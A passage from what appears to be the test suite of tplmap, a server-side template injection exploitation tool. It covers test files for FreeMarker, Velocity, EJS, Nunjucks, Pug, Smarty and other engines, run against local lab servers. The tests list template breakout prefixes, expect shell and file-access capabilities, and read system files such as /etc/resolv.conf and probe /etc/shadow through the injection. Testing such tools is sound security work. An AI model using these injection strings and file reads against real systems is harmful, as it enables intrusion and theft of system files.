$INSTANCE_NAME -p $PORT:$PORT -d $IMAGE_NAME 22 | 23 | # Wait until the http server is serving 24 | until $(curl --output /dev/null --silent --head http://localhost:$PORT/); do 25 | sleep 1 26 | done 27 | 28 | # Launch ruby engines tests 29 | docker exec -it $INSTANCE_NAME python -m unittest discover -v . 'test_ruby_*.py' 30 | 31 | docker stop $INSTANCE_NAME -------------------------------------------------------------------------------- /modules/tplmap/tests/test_java_freemarker.py: -------------------------------------------------------------------------------- 1 | import unittest 2 | import requests 3 | import os 4 | import sys 5 | 6 | sys.path.insert(1, os.path.join(sys.path[0], '..')) 7 | from plugins.engines.freemarker import Freemarker 8 | from basetest import BaseTest 9 | 10 | class FreemarkerTest(unittest.TestCase, BaseTest): 11 | 12 | 13 | expected_data = { 14 | 'language': 'java', 15 | 'engine': 'freemarker', 16 | 'execute' : True, 17 | 'trailer': '${%(trailer)s?c}', 18 | 'header': '${%(header)s?c}', 19 | 'render': '%(code)s', 20 | 'write': True, 21 | 'read': True, 22 | 'prefix' : '', 23 | 'suffix' : '', 24 | 'bind_shell' : True, 25 | 'reverse_shell': True 26 | } 27 | 28 | expected_data_blind = { 29 | 'language': 'java', 30 | 'engine': 'freemarker', 31 | 'blind': True, 32 | 'execute_blind' : True, 33 | 'write': True, 34 | 'prefix' : '', 35 | 'suffix' : '', 36 | 'bind_shell' : True, 37 | 'reverse_shell': True 38 | } 39 | 40 | url = 'http://127.0.0.1:15003/freemarker?inj=*&tpl=%s' 41 | url_blind = 'http://127.0.0.1:15003/freemarker?inj=*&tpl=%s&blind=1' 42 | 43 | plugin = Freemarker 44 | 45 | blind_tests = [ 46 | (0, 0, 'AAA%sAAA', {}), 47 | (5, 5, '<#list %s as a>', { 'prefix' : '[1] as a><#list [1] as a>', 'suffix' : ''}), 48 | ] 49 | 50 | reflection_tests = [ 51 | (0, 0, '%s', {}), 52 | (0, 0, 'AAA%sAAA', {}), 53 | (1, 0, '${ %s }', { 'prefix': '1}', 'suffix': '' }), 54 | 55 | (2, 1, '<#assign s = %s>', { 'prefix': '1>', 'suffix': '' }), 56 | (5, 1, '<#-- %s -->', { 'prefix': '-->', 'suffix': '<#--' }), 57 | (2, 1, '<#if 1 == %s>', { 'prefix': '1>', 'suffix' : ''}), 58 | (2, 2, '<#if %s == 1>', { 'prefix': 'true>', 'suffix' : ''}), 59 | (5, 3, '<#list [%s] as a>', { 'prefix' : '1] as a><#list [1] as a>', 'suffix' : ''}), 60 | (5, 5, '<#list %s as a>', { 'prefix' : '[1] as a><#list [1] as a>', 'suffix' : ''}), 61 | (1, 5, '<#assign ages = {"J":2, "%s":2}>', { 'prefix' : '1":1}]}', 'suffix' : ''}), 62 | 63 | #(1, 5, '${[1,2]%3Fjoin(%s)}', { 'prefix' : '[1])}', 'suffix' : ''}), 64 | 65 | ] 66 | -------------------------------------------------------------------------------- /modules/tplmap/tests/test_java_velocity.py: -------------------------------------------------------------------------------- 1 | import unittest 2 | import requests 3 | import os 4 | import sys 5 | import random 6 | 7 | sys.path.insert(1, os.path.join(sys.path[0], '..')) 8 | from plugins.engines.velocity import Velocity 9 | from core.channel import Channel 10 | from core.checks import detect_template_injection 11 | from basetest import BaseTest 12 | 13 | class VelocityTest(unittest.TestCase, BaseTest): 14 | 15 | expected_data = { 16 | 'language': 'java', 17 | 'engine': 'velocity', 18 | 'execute' : True, 19 | 'trailer': '\n#set($t=%(trailer)s)\n${t}\n', 20 | 'header': '\n#set($h=%(header)s)\n${h}\n', 21 | 'render': '%(code)s', 22 | 'write': True, 23 | 'read': True, 24 | 'prefix' : '', 25 | 'suffix' : '', 26 | 'bind_shell' : True, 27 | 'reverse_shell': True 28 | } 29 | 30 | expected_data_blind = { 31 | 'language': 'java', 32 | 'engine': 'velocity', 33 | 'blind': True, 34 | 'execute_blind' : True, 35 | 'write': True, 36 | 'prefix' : '', 37 | 'suffix' : '', 38 | 'bind_shell' : True, 39 | 'reverse_shell': True 40 | } 41 | 42 | url = 'http://127.0.0.1:15003/velocity?inj=*&tpl=%s' 43 | url_blind = 'http://127.0.0.1:15003/velocity?inj=*&tpl=%s&blind=1' 44 | 45 | plugin = Velocity 46 | 47 | blind_tests = [ 48 | (0, 0, 'AAA%sAAA', {}), 49 | (3, 1, '#macro(d)%s#end', { 'prefix': '1#end#if(1==1)', 'suffix' : ''}), 50 | ] 51 | 52 | reflection_tests = [ 53 | (0, 0, '%s', {}), 54 | (0, 0, 'AAA%sAAA', {}), 55 | (1, 0, '#set( $a = "%s" )', { 'prefix' : '1")', 'suffix': ''}), 56 | (1, 0, '#if(1 == %s)\n#end', { 'prefix' : '1)', 'suffix': ''}), 57 | (3, 1, '#if(%s == 1)\n#end', { 'prefix' : '1)#end#if(1==1)', 'suffix': ''}), 58 | (3, 1, '#foreach($item in %s)\n#end', { 'prefix' : '1)#end#if(1==1)', 'suffix': ''}), 59 | (0, 0, '## comment %s', { }), 60 | # TODO: fix those, they used to work 61 | #(5, 0, '#[[%s]]# ', { }), 62 | (0, 0, '${%s}', {}), 63 | (0, 0, '${(%s)}', {}), 64 | (3, 1, '#define( %s )a#end', { 'prefix': '1)#end#if(1==1)', 'suffix' : ''}), 65 | (3, 1, '#define( $asd )%s#end', { 'prefix': '1#end#if(1==1)', 'suffix' : ''}), 66 | (3, 1, '#macro(d)%s#end', { 'prefix': '1#end#if(1==1)', 'suffix' : ''}), 67 | ] 68 | 69 | 70 | def test_custom_injection_tag(self): 71 | 72 | template = '#* %s *#' 73 | 74 | channel = Channel({ 75 | 'url' : self.url.replace('*', '~') % template, 76 | 'force_level': [ 5, 0 ], 77 | 'injection_tag': '~', 78 | 'technique': 'RT' 79 | }) 80 | 81 | detect_template_injection(channel, [ self.plugin ]) 82 | 83 | expected_data = self.expected_data.copy() 84 | expected_data.update({ 'prefix': '*#', 'suffix' : '#*'}) 85 | 86 | del channel.data['os'] 87 | 88 | self.assertEqual(channel.data, expected_data) -------------------------------------------------------------------------------- /modules/tplmap/tests/test_node_dot.py: -------------------------------------------------------------------------------- 1 | import unittest 2 | import requests 3 | import os 4 | import sys 5 | import random 6 | 7 | sys.path.insert(1, os.path.join(sys.path[0], '..')) 8 | from plugins.engines.dot import Dot 9 | from basetest import BaseTest 10 | 11 | 12 | class DotTests(unittest.TestCase, BaseTest): 13 | 14 | expected_data = { 15 | 'language': 'javascript', 16 | 'engine': 'dot', 17 | 'evaluate' : 'javascript' , 18 | 'execute' : True, 19 | 'read' : True, 20 | 'write' : True, 21 | 'prefix' : '', 22 | 'suffix': '', 23 | 'render': '{{=%(code)s}}', 24 | 'header': '{{=%(header)s}}', 25 | 'trailer': '{{=%(trailer)s}}', 26 | 'bind_shell' : True, 27 | 'reverse_shell': True 28 | } 29 | 30 | expected_data_blind = { 31 | 'language': 'javascript', 32 | 'engine': 'dot', 33 | 'blind': True, 34 | 'execute_blind' : True, 35 | 'evaluate_blind' : 'javascript', 36 | 'write': True, 37 | 'prefix' : '', 38 | 'suffix' : '', 39 | 'bind_shell' : True, 40 | 'reverse_shell': True 41 | } 42 | 43 | url = 'http://127.0.0.1:15004/dot?inj=*&tpl=%s' 44 | url_blind = 'http://127.0.0.1:15004/blind/dot?inj=*&tpl=%s' 45 | plugin = Dot 46 | 47 | 48 | blind_tests = [ 49 | (0, 0, 'AAA%sAAA', {}), 50 | ] 51 | 52 | reflection_tests = [ 53 | (0, 0, '%s', {}), 54 | (0, 0, 'AAA%sAAA', {}), 55 | (1, 1, "{{ %s }}", { 'prefix': '1;}}', 'suffix' : '{{1;' }), 56 | ] -------------------------------------------------------------------------------- /modules/tplmap/tests/test_node_dust.py: -------------------------------------------------------------------------------- 1 | import unittest 2 | import requests 3 | import os 4 | import sys 5 | import random 6 | 7 | sys.path.insert(1, os.path.join(sys.path[0], '..')) 8 | from plugins.engines.dust import Dust 9 | from basetest import BaseTest 10 | 11 | 12 | class DustTests(unittest.TestCase, BaseTest): 13 | 14 | expected_data = { 15 | 'language': 'javascript', 16 | 'engine': 'dust', 17 | 'write' : True, 18 | 'execute_blind' : True, 19 | 'prefix' : '', 20 | 'suffix': '', 21 | 'header': '%s', 22 | 'trailer': '%s', 23 | 'bind_shell' : True, 24 | 'reverse_shell': True, 25 | 'blind': True, 26 | 'evaluate_blind': 'javascript' 27 | } 28 | 29 | expected_data_blind = { 30 | 'language': 'javascript', 31 | 'engine': 'dust', 32 | 'blind': True, 33 | 'execute_blind' : True, 34 | 'write': True, 35 | 'prefix' : '', 36 | 'suffix' : '', 37 | 'bind_shell' : True, 38 | 'reverse_shell': True, 39 | 'evaluate_blind': 'javascript' 40 | } 41 | 42 | url = 'http://127.0.0.1:15004/dust?inj=*&tpl=%s' 43 | url_blind = 'http://127.0.0.1:15004/blind/dust?inj=*&tpl=%s' 44 | plugin = Dust 45 | 46 | 47 | blind_tests = [ 48 | (0, 0, 'AAA%sAAA', {}), 49 | (0, 0, '{%s|s}', { }), 50 | ] 51 | 52 | reflection_tests = [ 53 | (0, 0, '%s', {}), 54 | (0, 0, 'AAA%sAAA', {}), 55 | (0, 0, '{%s}', { }), 56 | (0, 0, '{%s|s}', { }), 57 | (1, 0, '{!%s!}', { 'prefix' : '!}', 'suffix' : '{!' }) 58 | ] 59 | 60 | def test_upload(self): 61 | pass 62 | 63 | def test_download(self): 64 | pass -------------------------------------------------------------------------------- /modules/tplmap/tests/test_node_ejs.py: -------------------------------------------------------------------------------- 1 | import unittest 2 | import requests 3 | import os 4 | import sys 5 | import random 6 | 7 | sys.path.insert(1, os.path.join(sys.path[0], '..')) 8 | from plugins.engines.ejs import Ejs 9 | from basetest import BaseTest 10 | 11 | 12 | class EjsTests(unittest.TestCase, BaseTest): 13 | 14 | expected_data = { 15 | 'language': 'javascript', 16 | 'engine': 'ejs', 17 | 'evaluate' : 'javascript' , 18 | 'execute' : True, 19 | 'read' : True, 20 | 'write' : True, 21 | 'prefix' : '', 22 | 'suffix': '', 23 | 'render': """%(code)s""", 24 | 'header': """<%%- '%(header)s'+""", 25 | 'trailer': """+'%(trailer)s' %%>""", 26 | 'bind_shell' : True, 27 | 'reverse_shell': True 28 | } 29 | 30 | expected_data_blind = { 31 | 'language': 'javascript', 32 | 'engine': 'ejs', 33 | 'blind': True, 34 | 'execute_blind' : True, 35 | 'evaluate_blind' : 'javascript', 36 | 'write': True, 37 | 'prefix' : '', 38 | 'suffix' : '', 39 | 'bind_shell' : True, 40 | 'reverse_shell': True 41 | } 42 | 43 | url = 'http://127.0.0.1:15004/ejs?inj=*&tpl=%s' 44 | url_blind = 'http://127.0.0.1:15004/blind/ejs?inj=*&tpl=%s' 45 | plugin = Ejs 46 | 47 | 48 | blind_tests = [ 49 | (0, 0, 'AAA%sAAA', {}), 50 | ] 51 | 52 | reflection_tests = [ 53 | (0, 0, '%s', {}), 54 | (0, 0, 'AAA%sAAA', {}), 55 | (1, 0, "<% %s %>", { 'prefix': '1%>', 'suffix' : '<%#' }), 56 | (1, 1, "<% '%s' %>", { 'prefix': "1'%>", 'suffix' : '<%#' }), 57 | (1, 1, '<% "%s" %>', { 'prefix': '1"%>', 'suffix' : '<%#' }), 58 | (1, 0, '<%= %s %>', { 'prefix': '1%>', 'suffix' : '<%#' }), 59 | (1, 0, '<%- %s %>', { 'prefix': '1%>', 'suffix' : '<%#' }), 60 | (1, 0, '<%# %s %>', { 'prefix': '1%>', 'suffix' : '<%#' }), 61 | (1, 0, '<%_ %s %>', { 'prefix': '1%>', 'suffix' : '<%#' }), 62 | (1, 0, '<% %s -%>', { 'prefix': '1%>', 'suffix' : '<%#' }), 63 | (1, 0, '<% %s _%>', { 'prefix': '1%>', 'suffix' : '<%#' }), 64 | (2, 1, "<%- include('/etc/resolv.conf%s') %>", { 'prefix': "')%>", 'suffix' : '<%#' }), 65 | (2, 2, '<%- include("/etc/resolv.conf%s") %>', { 'prefix': '")%>', 'suffix' : '<%#' }), 66 | (3, 0, "<% 456/* AAA %s */-123 %>", { 'prefix': '*/%>', 'suffix': '<%#' }), 67 | ] 68 | -------------------------------------------------------------------------------- /modules/tplmap/tests/test_node_javascript.py: -------------------------------------------------------------------------------- 1 | import unittest 2 | import requests 3 | import os 4 | import sys 5 | import random 6 | 7 | sys.path.insert(1, os.path.join(sys.path[0], '..')) 8 | from plugins.languages.javascript import Javascript 9 | from core.channel import Channel 10 | from core.checks import detect_template_injection 11 | from basetest import BaseTest 12 | 13 | 14 | class JavascriptTests(unittest.TestCase, BaseTest): 15 | 16 | expected_data = { 17 | 'language': 'javascript', 18 | 'engine': 'javascript', 19 | 'evaluate' : 'javascript' , 20 | 'execute' : True, 21 | 'read' : True, 22 | 'write' : True, 23 | 'prefix' : '', 24 | 'suffix': '', 25 | 'render': """%(code)s""", 26 | 'header': """'%(header)s'+""", 27 | 'trailer': """+'%(trailer)s'""", 28 | 'bind_shell' : True, 29 | 'reverse_shell': True 30 | } 31 | 32 | expected_data_blind = { 33 | 'language': 'javascript', 34 | 'engine': 'javascript', 35 | 'blind': True, 36 | 'execute_blind' : True, 37 | 'evaluate_blind' : 'javascript', 38 | 'write': True, 39 | 'prefix' : '', 40 | 'suffix' : '', 41 | 'bind_shell' : True, 42 | 'reverse_shell': True 43 | } 44 | 45 | url = 'http://127.0.0.1:15004/javascript?inj=*&tpl=%s' 46 | url_blind = 'http://127.0.0.1:15004/blind/javascript?inj=*&tpl=%s' 47 | plugin = Javascript 48 | 49 | 50 | blind_tests = [ 51 | (0, 0, '%s', {}), 52 | (2, 0, 'if("%s"=="2"){}', { 'prefix' : '1")', 'suffix' : '//'}), 53 | ] 54 | 55 | reflection_tests = [ 56 | (0, 0, '%s', {}), 57 | (2, 0, 'if("%s"=="2"){}', { 'prefix' : '1")', 'suffix' : '//'}), 58 | (1, 3, '["%s"]', { 'prefix': '1"];', 'suffix' : '//' }), 59 | ] 60 | 61 | def test_custom_injection_tag(self): 62 | 63 | template = '/* %s */' 64 | 65 | channel = Channel({ 66 | 'url' : self.url.replace('*', '~') % template, 67 | 'force_level': [ 5, 0 ], 68 | 'injection_tag': '~', 69 | 'technique': 'RT' 70 | }) 71 | 72 | detect_template_injection(channel, [ self.plugin ]) 73 | 74 | expected_data = self.expected_data.copy() 75 | expected_data.update({ 'prefix': '*/', 'suffix' : '/*'}) 76 | 77 | del channel.data['os'] 78 | 79 | self.assertEqual(channel.data, expected_data) -------------------------------------------------------------------------------- /modules/tplmap/tests/test_node_marko.py: -------------------------------------------------------------------------------- 1 | import unittest 2 | import requests 3 | import os 4 | import sys 5 | import random 6 | 7 | sys.path.insert(1, os.path.join(sys.path[0], '..')) 8 | from plugins.engines.marko import Marko 9 | from basetest import BaseTest 10 | 11 | 12 | class MarkoTests(unittest.TestCase, BaseTest): 13 | 14 | expected_data = { 15 | 'language': 'javascript', 16 | 'engine': 'marko', 17 | 'evaluate' : 'javascript' , 18 | 'execute' : True, 19 | 'read' : True, 20 | 'write' : True, 21 | 'prefix' : '', 22 | 'suffix': '', 23 | 'render': '${%(code)s}', 24 | 'header': '${"%(header)s"}', 25 | 'trailer': '${"%(trailer)s"}', 26 | 'bind_shell' : True, 27 | 'reverse_shell': True 28 | } 29 | 30 | expected_data_blind = { 31 | 'language': 'javascript', 32 | 'engine': 'marko', 33 | 'blind': True, 34 | 'execute_blind' : True, 35 | 'evaluate_blind' : 'javascript', 36 | 'write': True, 37 | 'prefix' : '', 38 | 'suffix' : '', 39 | 'bind_shell' : True, 40 | 'reverse_shell': True 41 | } 42 | 43 | url = 'http://127.0.0.1:15004/marko?inj=*&tpl=%s' 44 | url_blind = 'http://127.0.0.1:15004/blind/marko?inj=*&tpl=%s' 45 | plugin = Marko 46 | 47 | 48 | blind_tests = [ 49 | (0, 0, 'AAA%sAAA', {}), 50 | ] 51 | 52 | reflection_tests = [ 53 | (0, 0, '%s', {}), 54 | (0, 0, 'AAA%sAAA', {}), 55 | (1, 0, '${%s}', { 'prefix': '1}', 'suffix' : '${"1"' }), 56 | (2, 0, '', { 'prefix': '1/>', 'suffix' : '' }), 57 | (2, 0, '', { 'prefix': '1/>', 'suffix' : '' }), 58 | ] -------------------------------------------------------------------------------- /modules/tplmap/tests/test_node_nunjucks.py: -------------------------------------------------------------------------------- 1 | import unittest 2 | import requests 3 | import os 4 | import sys 5 | import random 6 | 7 | sys.path.insert(1, os.path.join(sys.path[0], '..')) 8 | from plugins.engines.nunjucks import Nunjucks 9 | from basetest import BaseTest 10 | 11 | 12 | class NunjucksTests(unittest.TestCase, BaseTest): 13 | 14 | expected_data = { 15 | 'language': 'javascript', 16 | 'engine': 'nunjucks', 17 | 'evaluate' : 'javascript' , 18 | 'execute' : True, 19 | 'read' : True, 20 | 'write' : True, 21 | 'prefix' : '', 22 | 'suffix': '', 23 | 'trailer': '{{%(trailer)s}}', 24 | 'header': '{{%(header)s}}', 25 | 'render': '{{%(code)s}}', 26 | 'bind_shell' : True, 27 | 'reverse_shell': True 28 | } 29 | 30 | expected_data_blind = { 31 | 'language': 'javascript', 32 | 'engine': 'nunjucks', 33 | 'evaluate_blind' : 'javascript', 34 | 'blind': True, 35 | 'execute_blind' : True, 36 | 'write': True, 37 | 'prefix' : '', 38 | 'suffix' : '', 39 | 'bind_shell' : True, 40 | 'reverse_shell': True 41 | } 42 | 43 | url = 'http://127.0.0.1:15004/nunjucks?inj=*&tpl=%s' 44 | url_blind = 'http://127.0.0.1:15004/blind/nunjucks?inj=*&tpl=%s' 45 | plugin = Nunjucks 46 | 47 | 48 | blind_tests = [ 49 | (0, 0, 'AAA%sAAA', {}), 50 | (5, 1, "{% for item in %s %}{% endfor %}", {'prefix': '1 %}{% endfor %}{% for a in [1] %}', 'suffix' : ''}), 51 | (1, 3, "{% if 1 in [%s] %}{% endif %}", {'prefix': '1} %}', 'suffix' : ''}), 52 | ] 53 | 54 | reflection_tests = [ 55 | (0, 0, '%s', {}), 56 | (0, 0, 'AAA%sAAA', {}), 57 | (1, 0, "{{ %s }}", { 'prefix': '1}}', 'suffix' : '{{1' }), 58 | (0, 0, "{% block title %}%s{% endblock %}", {}), 59 | (1, 0, "{% set foo = '%s' %}", { 'prefix': "1' %}", 'suffix' : '' }), 60 | (5, 2, "{% set %s = 1 %}", { 'prefix': 'a = 1 %}', 'suffix' : '' }), 61 | (5, 1, "{% for item in %s %}{% endfor %}", {'prefix': '1 %}{% endfor %}{% for a in [1] %}', 'suffix' : ''}), 62 | (1, 0, "{% if %s == 1 %}{% endif %}", {'prefix': '1 %}', 'suffix' : ''}), 63 | (1, 2, "{% if 1 in %s %}{% endif %}", {'prefix': '"1" %}', 'suffix' : ''}), 64 | (1, 3, "{% if 1 in [%s] %}{% endif %}", {'prefix': '1} %}', 'suffix' : ''}), 65 | 66 | # Comment blocks 67 | (5, 1, '{# %s #}', { 'prefix' : '#}', 'suffix' : '{#' }), 68 | ] -------------------------------------------------------------------------------- /modules/tplmap/tests/test_node_pug.py: -------------------------------------------------------------------------------- 1 | import unittest 2 | import requests 3 | import os 4 | import sys 5 | import random 6 | 7 | sys.path.insert(1, os.path.join(sys.path[0], '..')) 8 | from plugins.engines.pug import Pug 9 | from basetest import BaseTest 10 | 11 | 12 | class PugTest(unittest.TestCase, BaseTest): 13 | 14 | expected_data = { 15 | 'language': 'javascript', 16 | 'engine': 'pug', 17 | 'evaluate' : 'javascript' , 18 | 'execute' : True, 19 | 'read' : True, 20 | 'write' : True, 21 | 'prefix' : '', 22 | 'suffix': '', 23 | 'trailer': '\n= %(trailer)s\n', 24 | 'header': '\n= %(header)s\n', 25 | 'render': '\n= %(code)s\n', 26 | 'bind_shell' : True, 27 | 'reverse_shell': True 28 | } 29 | 30 | expected_data_blind = { 31 | 'language': 'javascript', 32 | 'engine': 'pug', 33 | 'blind': True, 34 | 'execute_blind' : True, 35 | 'evaluate_blind' : 'javascript', 36 | 'write': True, 37 | 'prefix' : '', 38 | 'suffix' : '', 39 | 'bind_shell' : True, 40 | 'reverse_shell': True 41 | } 42 | 43 | url = 'http://127.0.0.1:15004/pug?inj=*&tpl=%s' 44 | url_blind = 'http://127.0.0.1:15004/blind/pug?inj=*&tpl=%s' 45 | plugin = Pug 46 | 47 | 48 | blind_tests = [ 49 | (0, 0, 'AAA%sAAA', {}), 50 | (2, 2, '- var %s = true', { 'prefix' : 'a\n', 'suffix' : '//' }), 51 | ] 52 | 53 | reflection_tests = [ 54 | (0, 0, '%s', {}), 55 | (0, 0, 'AAA%sAAA', {}), 56 | 57 | (1, 0, 'a(href=\'%s\')', { 'prefix' : '1\')', 'suffix' : '//' }), 58 | (1, 0, 'a(href="%s")', { 'prefix' : '1")', 'suffix' : '//' }), 59 | (0, 0, '#container.%s', { }), 60 | (2, 1, '#{%s}', { 'prefix' : '1}', 'suffix' : '//' }), 61 | 62 | (2, 2, '- var %s = true', { 'prefix' : 'a\n', 'suffix' : '//' }), 63 | (2, 1, '- var a = %s', { 'prefix': '1\n', 'suffix' : '//' }), 64 | 65 | ] 66 | 67 | def test_reflection_quotes(self): 68 | 69 | obj, data = self._get_detection_obj_data(self.url % '') 70 | 71 | if obj.get('execute'): 72 | result = obj.execute("""echo 1"2"'3'\\"\\'""") 73 | self.assertEqual(result, """123"'""") 74 | 75 | if not self.url_blind: 76 | return 77 | 78 | obj, data = self._get_detection_obj_data(self.url_blind % '') 79 | if obj.get('execute_blind'): 80 | self.assertTrue(obj.execute_blind("""echo 1"2"'3'\\"\\'""")) -------------------------------------------------------------------------------- /modules/tplmap/tests/test_php_php.py: -------------------------------------------------------------------------------- 1 | import unittest 2 | import requests 3 | import os 4 | import sys 5 | import random 6 | 7 | sys.path.insert(1, os.path.join(sys.path[0], '..')) 8 | from plugins.languages.php import Php 9 | from core.channel import Channel 10 | from core.checks import detect_template_injection 11 | from basetest import BaseTest, EXTRA_DOWNLOAD 12 | 13 | 14 | class PhpTests(unittest.TestCase, BaseTest): 15 | 16 | expected_data = { 17 | 'language': 'php', 18 | 'engine': 'php', 19 | 'evaluate' : 'php' , 20 | 'execute' : True, 21 | 'read' : True, 22 | 'write' : True, 23 | 'prefix' : '', 24 | 'suffix': '', 25 | 'render': """%(code)s""", 26 | 'header': """print_r('%(header)s');""", 27 | 'trailer': """print_r('%(trailer)s');""", 28 | 'bind_shell' : True, 29 | 'reverse_shell': True 30 | } 31 | 32 | expected_data_blind = { 33 | 'language': 'php', 34 | 'engine': 'php', 35 | 'blind': True, 36 | 'execute_blind' : True, 37 | 'evaluate_blind' : 'php', 38 | 'write': True, 39 | 'prefix' : '', 40 | 'suffix' : '', 41 | 'bind_shell' : True, 42 | 'reverse_shell': True 43 | } 44 | 45 | url = 'http://localhost:15002/eval.php?inj=*&tpl=%s' 46 | url_blind = 'http://localhost:15002/eval.php?inj=*&tpl=%s&blind=1' 47 | plugin = Php 48 | 49 | 50 | blind_tests = [ 51 | (0, 0, '%s', {}), 52 | (1, 3, '["%s"]', { 'prefix': '1"];', 'suffix' : '//' }), 53 | ] 54 | 55 | reflection_tests = [ 56 | (0, 0, '%s', {}), 57 | (2, 0, 'if("%s"=="2"){}', { 'prefix' : '1")', 'suffix' : '//'}), 58 | (1, 3, '["%s"]', { 'prefix': '1"];', 'suffix' : '//' }), 59 | ] 60 | 61 | def test_download(self): 62 | 63 | # This is overriden due to the slight 64 | # difference from the base test_download() 65 | # obj.read('/dev/null') -> None 66 | 67 | obj, data = self._get_detection_obj_data(self.url % '') 68 | self.assertEqual(data, self.expected_data) 69 | 70 | if not EXTRA_DOWNLOAD: 71 | return 72 | 73 | # Normal ASCII file 74 | readable_file = '/etc/resolv.conf' 75 | content = open(readable_file, 'r').read() 76 | self.assertEqual(content, obj.read(readable_file)) 77 | 78 | # Long binary file 79 | readable_file = '/bin/ls' 80 | content = open(readable_file, 'rb').read() 81 | self.assertEqual(content, obj.read(readable_file)) 82 | 83 | # Non existant file 84 | self.assertEqual(None, obj.read('/nonexistant')) 85 | # Unpermitted file 86 | self.assertEqual(None, obj.read('/etc/shadow')) 87 | # Empty file 88 | self.assertEqual(None, obj.read('/dev/null')) 89 | -------------------------------------------------------------------------------- /modules/tplmap/tests/test_php_smarty_secured.py: -------------------------------------------------------------------------------- 1 | import unittest 2 | import requests 3 | import os 4 | import sys 5 | import random 6 | 7 | sys.path.insert(1, os.path.join(sys.path[0], '..')) 8 | from plugins.engines.smarty import Smarty 9 | from core.channel import Channel 10 | from core.checks import detect_template_injection 11 | from basetest import BaseTest 12 | 13 | class SmartySecuredTest(unittest.TestCase, BaseTest): 14 | 15 | expected_data = { 16 | 'language': 'php', 17 | 'engine': 'smarty', 18 | 'trailer': '{%(trailer)s}', 19 | 'header': '{%(header)s}', 20 | 'render': '%(code)s', 21 | 'prefix' : '', 22 | 'suffix' : '', 23 | } 24 | 25 | expected_data_blind = { 26 | 'language': 'php', 27 | 'engine': 'smarty', 28 | 'evaluate_blind': 'php', 29 | 'blind': True, 30 | 'prefix' : '', 31 | 'suffix' : '', 32 | } 33 | 34 | url = 'http://127.0.0.1:15002/smarty-3.1.32-secured.php?inj=*&tpl=%s' 35 | url_blind = 'http://127.0.0.1:15002/smarty-3.1.32-secured.php?inj=*&tpl=%s&blind=1' 36 | plugin = Smarty 37 | 38 | # The secured Smarty can't executes any PHP hence no sleep(1) hence no 39 | # blind tests for now 40 | blind_tests = [ 41 | ] 42 | 43 | reflection_tests = [ 44 | (0, 0, '%s', { }), 45 | (0, 0, 'AAA%sAAA', {}), 46 | (1, 0, '{%s}', { 'prefix': '1}', 'suffix' : '{'}), 47 | (5, 1, '{if %s}\n{/if}', { 'prefix': '1}{/if}{if 1}', 'suffix' : ''}), 48 | (5, 1, '{if (%s)}\n{/if}', { 'prefix': '1)}{/if}{if 1}', 'suffix' : ''}), 49 | (1, 1, '{html_select_date display_days=%s}', { 'prefix': '1}', 'suffix' : '{'}), 50 | (1, 1, '{html_options values=%s}', { 'prefix': '1}', 'suffix' : '{'}), 51 | (5, 1, '{assign value="" var="%s" value=""}', { 'prefix': '1" var="" value=""}{assign var="" value=""}', 'suffix' : ''}), 52 | (5, 1, '{assign value="" var="" value="%s"}', { 'prefix': '1" var="" value=""}{assign var="" value=""}', 'suffix' : ''}), 53 | (5, 1, '{assign value="" var="" value="`%s`"}', { 'prefix': '1" var="" value=""}{assign var="" value=""}', 'suffix' : ''}), 54 | ] 55 | 56 | def test_custom_injection_tag(self): 57 | 58 | template = '{* %s *}' 59 | 60 | channel = Channel({ 61 | 'url' : self.url.replace('*', '~') % template, 62 | 'force_level': [ 5, 5 ], 63 | 'injection_tag': '~', 64 | 'technique': 'RT' 65 | }) 66 | 67 | detect_template_injection(channel, [ self.plugin ]) 68 | 69 | expected_data = self.expected_data.copy() 70 | expected_data.update({ 'prefix': '*}', 'suffix' : '{*'}) 71 | 72 | self.assertEqual(channel.data, expected_data) 73 | 74 | def test_download(self): 75 | pass 76 | 77 | def test_upload(self): 78 | pass 79 | 80 | def test_upload_blind(self): 81 | pass -------------------------------------------------------------------------------- /modules/tplmap/tests/test_php_smarty_unsecured.py: -------------------------------------------------------------------------------- 1 | import unittest 2 | import requests 3 | import os 4 | import sys 5 | import random 6 | 7 | sys.path.insert(1, os.path.join(sys.path[0], '..')) 8 | from plugins.engines.smarty import Smarty 9 | from core.channel import Channel 10 | from core.checks import detect_template_injection 11 | from basetest import BaseTest, EXTRA_DOWNLOAD 12 | 13 | class SmartyUnsecuredTest(unittest.TestCase, BaseTest): 14 | 15 | expected_data = { 16 | 'language': 'php', 17 | 'engine': 'smarty', 18 | 'evaluate' : 'php' , 19 | 'execute' : True, 20 | 'write': True, 21 | 'read': True, 22 | 'trailer': '{%(trailer)s}', 23 | 'header': '{%(header)s}', 24 | 'render': '%(code)s', 25 | 'prefix' : '', 26 | 'suffix' : '', 27 | 'bind_shell' : True, 28 | 'reverse_shell': True 29 | } 30 | 31 | expected_data_blind = { 32 | 'language': 'php', 33 | 'engine': 'smarty', 34 | 'evaluate_blind': 'php', 35 | 'execute_blind': True, 36 | 'write': True, 37 | 'blind': True, 38 | 'prefix' : '', 39 | 'suffix' : '', 40 | 'bind_shell' : True, 41 | 'reverse_shell': True 42 | } 43 | 44 | url = 'http://127.0.0.1:15002/smarty-3.1.32-unsecured.php?inj=*&tpl=%s' 45 | url_blind = 'http://127.0.0.1:15002/smarty-3.1.32-unsecured.php?inj=*&tpl=%s&blind=1' 46 | plugin = Smarty 47 | 48 | blind_tests = [ 49 | (0, 0, 'AAA%sAAA', {}), 50 | (5, 1, '{assign value="" var="%s" value=""}', { 'prefix': '1" var="" value=""}{assign var="" value=""}', 'suffix' : ''}), 51 | ] 52 | 53 | reflection_tests = [ 54 | (0, 0, '%s', { }), 55 | (0, 0, 'AAA%sAAA', {}), 56 | (1, 0, '{%s}', { 'prefix': '1}', 'suffix' : '{'}), 57 | (5, 1, '{if %s}\n{/if}', { 'prefix': '1}{/if}{if 1}', 'suffix' : ''}), 58 | (5, 1, '{if (%s)}\n{/if}', { 'prefix': '1)}{/if}{if 1}', 'suffix' : ''}), 59 | (1, 1, '{html_select_date display_days=%s}', { 'prefix': '1}', 'suffix' : '{'}), 60 | (1, 1, '{html_options values=%s}', { 'prefix': '1}', 'suffix' : '{'}), 61 | (5, 1, '{assign value="" var="%s" value=""}', { 'prefix': '1" var="" value=""}{assign var="" value=""}', 'suffix' : ''}), 62 | (5, 1, '{assign value="" var="" value="%s"}', { 'prefix': '1" var="" value=""}{assign var="" value=""}', 'suffix' : ''}), 63 | (5, 1, '{assign value="" var="" value="`%s`"}', { 'prefix': '1" var="" value=""}{assign var="" value=""}', 'suffix' : ''}), 64 | 65 | ] 66 | 67 | def test_custom_injection_tag(self): 68 | 69 | template = '{* %s *}' 70 | 71 | channel = Channel({ 72 | 